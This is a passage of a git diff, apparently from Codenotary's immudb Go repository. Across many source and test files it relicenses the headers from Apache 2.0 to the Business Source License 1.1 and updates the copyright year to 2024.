copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/ahtree/options_test.go b/embedded/ahtree/options_test.go index 7f50097136..a36374a9ca 100644 --- a/embedded/ahtree/options_test.go +++ b/embedded/ahtree/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/ahtree/verification.go b/embedded/ahtree/verification.go index d919c71772..8350b83fc4 100644 --- a/embedded/ahtree/verification.go +++ b/embedded/ahtree/verification.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/ahtree/verification_test.go b/embedded/ahtree/verification_test.go index cce1d894bf..b05618f02c 100644 --- a/embedded/ahtree/verification_test.go +++ b/embedded/ahtree/verification_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/appendable.go b/embedded/appendable/appendable.go index 0856a4a52b..e54cb5cba1 100644 --- a/embedded/appendable/appendable.go +++ b/embedded/appendable/appendable.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/fileutils/fileutils.go b/embedded/appendable/fileutils/fileutils.go index a2b0346a58..2cbc2ebde5 100644 --- a/embedded/appendable/fileutils/fileutils.go +++ b/embedded/appendable/fileutils/fileutils.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/fileutils/fileutils_darwin.go b/embedded/appendable/fileutils/fileutils_darwin.go index ffc1a2f0af..e1eeae7dfb 100644 --- a/embedded/appendable/fileutils/fileutils_darwin.go +++ b/embedded/appendable/fileutils/fileutils_darwin.go @@ -2,13 +2,13 @@ // +build darwin /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/fileutils/fileutils_freebsd.go b/embedded/appendable/fileutils/fileutils_freebsd.go index 51f7e7d727..e3697d1ae9 100644 --- a/embedded/appendable/fileutils/fileutils_freebsd.go +++ b/embedded/appendable/fileutils/fileutils_freebsd.go @@ -2,14 +2,13 @@ // +build freebsd /* -Copyright 2023 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); +Copyright 2024 Codenotary Inc. All rights reserved. +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/fileutils/fileutils_linux.go b/embedded/appendable/fileutils/fileutils_linux.go index 063326409e..412252d066 100644 --- a/embedded/appendable/fileutils/fileutils_linux.go +++ b/embedded/appendable/fileutils/fileutils_linux.go @@ -2,14 +2,13 @@ // +build linux /* -Copyright 2023 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); +Copyright 2024 Codenotary Inc. All rights reserved. +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/fileutils/fileutils_unix_nonlinux.go b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go index d8db7e9d9a..0c80ae70d1 100644 --- a/embedded/appendable/fileutils/fileutils_unix_nonlinux.go +++ b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go @@ -2,13 +2,13 @@ // +build unix,!linux,!darwin,!freebsd /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/fileutils/fileutils_windows.go b/embedded/appendable/fileutils/fileutils_windows.go index c0693b3d7f..231a5f4fa1 100644 --- a/embedded/appendable/fileutils/fileutils_windows.go +++ b/embedded/appendable/fileutils/fileutils_windows.go @@ -2,13 +2,13 @@ // +build windows /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/metadata.go b/embedded/appendable/metadata.go index b35dcb5e1c..0d1203cbda 100644 --- a/embedded/appendable/metadata.go +++ b/embedded/appendable/metadata.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/metadata_test.go b/embedded/appendable/metadata_test.go index fdb9521060..117281c107 100644 --- a/embedded/appendable/metadata_test.go +++ b/embedded/appendable/metadata_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/mocked/mocked.go b/embedded/appendable/mocked/mocked.go index a721930da0..514d116e97 100644 --- a/embedded/appendable/mocked/mocked.go +++ b/embedded/appendable/mocked/mocked.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/mocked/mocked_test.go b/embedded/appendable/mocked/mocked_test.go index 82cedeb0c7..6dcad7b348 100644 --- a/embedded/appendable/mocked/mocked_test.go +++ b/embedded/appendable/mocked/mocked_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/multiapp/appendable_lru_cache.go b/embedded/appendable/multiapp/appendable_lru_cache.go index ec9df0bfb7..9d2015e2b8 100644 --- a/embedded/appendable/multiapp/appendable_lru_cache.go +++ b/embedded/appendable/multiapp/appendable_lru_cache.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/multiapp/appendable_lru_cache_test.go b/embedded/appendable/multiapp/appendable_lru_cache_test.go index e756538d61..e6d8e4545c 100644 --- a/embedded/appendable/multiapp/appendable_lru_cache_test.go +++ b/embedded/appendable/multiapp/appendable_lru_cache_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/multiapp/metrics.go b/embedded/appendable/multiapp/metrics.go index aac0ae66bb..ea1bece85a 100644 --- a/embedded/appendable/multiapp/metrics.go +++ b/embedded/appendable/multiapp/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/multiapp/multi_app.go b/embedded/appendable/multiapp/multi_app.go index 9ef1f2a084..c34497eb74 100644 --- a/embedded/appendable/multiapp/multi_app.go +++ b/embedded/appendable/multiapp/multi_app.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/multiapp/multi_app_test.go b/embedded/appendable/multiapp/multi_app_test.go index 364311e538..6e1a96e869 100644 --- a/embedded/appendable/multiapp/multi_app_test.go +++ b/embedded/appendable/multiapp/multi_app_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/multiapp/options.go b/embedded/appendable/multiapp/options.go index adeccb5795..1b9df44f24 100644 --- a/embedded/appendable/multiapp/options.go +++ b/embedded/appendable/multiapp/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/multiapp/options_test.go b/embedded/appendable/multiapp/options_test.go index ff55978df9..b780f086b7 100644 --- a/embedded/appendable/multiapp/options_test.go +++ b/embedded/appendable/multiapp/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/reader.go b/embedded/appendable/reader.go index 1b6db98cb7..98720fd8ee 100644 --- a/embedded/appendable/reader.go +++ b/embedded/appendable/reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/reader_test.go b/embedded/appendable/reader_test.go index 217b866171..91212c4626 100644 --- a/embedded/appendable/reader_test.go +++ b/embedded/appendable/reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/chunk_state.go b/embedded/appendable/remoteapp/chunk_state.go index 04b8728d6b..ff22f994a9 100644 --- a/embedded/appendable/remoteapp/chunk_state.go +++ b/embedded/appendable/remoteapp/chunk_state.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/chunk_state_test.go b/embedded/appendable/remoteapp/chunk_state_test.go index 8cba0b5ef0..0892cbdddd 100644 --- a/embedded/appendable/remoteapp/chunk_state_test.go +++ b/embedded/appendable/remoteapp/chunk_state_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/chunked_process.go b/embedded/appendable/remoteapp/chunked_process.go index 4f45f695e0..79ec7b942c 100644 --- a/embedded/appendable/remoteapp/chunked_process.go +++ b/embedded/appendable/remoteapp/chunked_process.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/chunked_process_test.go b/embedded/appendable/remoteapp/chunked_process_test.go index d2378f8401..4a3722def0 100644 --- a/embedded/appendable/remoteapp/chunked_process_test.go +++ b/embedded/appendable/remoteapp/chunked_process_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/errors.go b/embedded/appendable/remoteapp/errors.go index 1b71c55125..9af4740fc3 100644 --- a/embedded/appendable/remoteapp/errors.go +++ b/embedded/appendable/remoteapp/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/metrics.go b/embedded/appendable/remoteapp/metrics.go index 89d53fa1ee..bb0cb46120 100644 --- a/embedded/appendable/remoteapp/metrics.go +++ b/embedded/appendable/remoteapp/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/options.go b/embedded/appendable/remoteapp/options.go index c41f4592e8..d75875d773 100644 --- a/embedded/appendable/remoteapp/options.go +++ b/embedded/appendable/remoteapp/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/options_test.go b/embedded/appendable/remoteapp/options_test.go index 24157dcb40..1e6cce4c9c 100644 --- a/embedded/appendable/remoteapp/options_test.go +++ b/embedded/appendable/remoteapp/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/remote_app.go b/embedded/appendable/remoteapp/remote_app.go index 9b832434cf..2fed2fb195 100644 --- a/embedded/appendable/remoteapp/remote_app.go +++ b/embedded/appendable/remoteapp/remote_app.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/remoteapp/remote_app_test.go b/embedded/appendable/remoteapp/remote_app_test.go index 31172ccafd..d43d6b0a8c 100644 --- a/embedded/appendable/remoteapp/remote_app_test.go +++ b/embedded/appendable/remoteapp/remote_app_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/singleapp/options.go b/embedded/appendable/singleapp/options.go index ff70d90de3..0a40e12dc1 100644 --- a/embedded/appendable/singleapp/options.go +++ b/embedded/appendable/singleapp/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/singleapp/options_test.go b/embedded/appendable/singleapp/options_test.go index 1b938d50cb..9e4315ac3e 100644 --- a/embedded/appendable/singleapp/options_test.go +++ b/embedded/appendable/singleapp/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/singleapp/single_app.go b/embedded/appendable/singleapp/single_app.go index 5d7bb58e1f..afe7c2be18 100644 --- a/embedded/appendable/singleapp/single_app.go +++ b/embedded/appendable/singleapp/single_app.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/appendable/singleapp/single_app_test.go b/embedded/appendable/singleapp/single_app_test.go index 2da4561c9a..6f4af9be40 100644 --- a/embedded/appendable/singleapp/single_app_test.go +++ b/embedded/appendable/singleapp/single_app_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/cache/lru_cache.go b/embedded/cache/lru_cache.go index 0b553031d2..1d843c1cb9 100644 --- a/embedded/cache/lru_cache.go +++ b/embedded/cache/lru_cache.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/cache/lru_cache_test.go b/embedded/cache/lru_cache_test.go index a24af7b406..cb0fd83872 100644 --- a/embedded/cache/lru_cache_test.go +++ b/embedded/cache/lru_cache_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/document_id.go b/embedded/document/document_id.go index cd232cdd55..d80793d0b9 100644 --- a/embedded/document/document_id.go +++ b/embedded/document/document_id.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/document_id_test.go b/embedded/document/document_id_test.go index 3c618f7458..89d648d58a 100644 --- a/embedded/document/document_id_test.go +++ b/embedded/document/document_id_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/document_reader.go b/embedded/document/document_reader.go index acc0b9e985..118d1f968b 100644 --- a/embedded/document/document_reader.go +++ b/embedded/document/document_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/engine.go b/embedded/document/engine.go index aa1cf360bc..97e066ea28 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index c983d35e8a..4be3987a28 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/errors.go b/embedded/document/errors.go index 5d355cdb23..729d397efc 100644 --- a/embedded/document/errors.go +++ b/embedded/document/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - 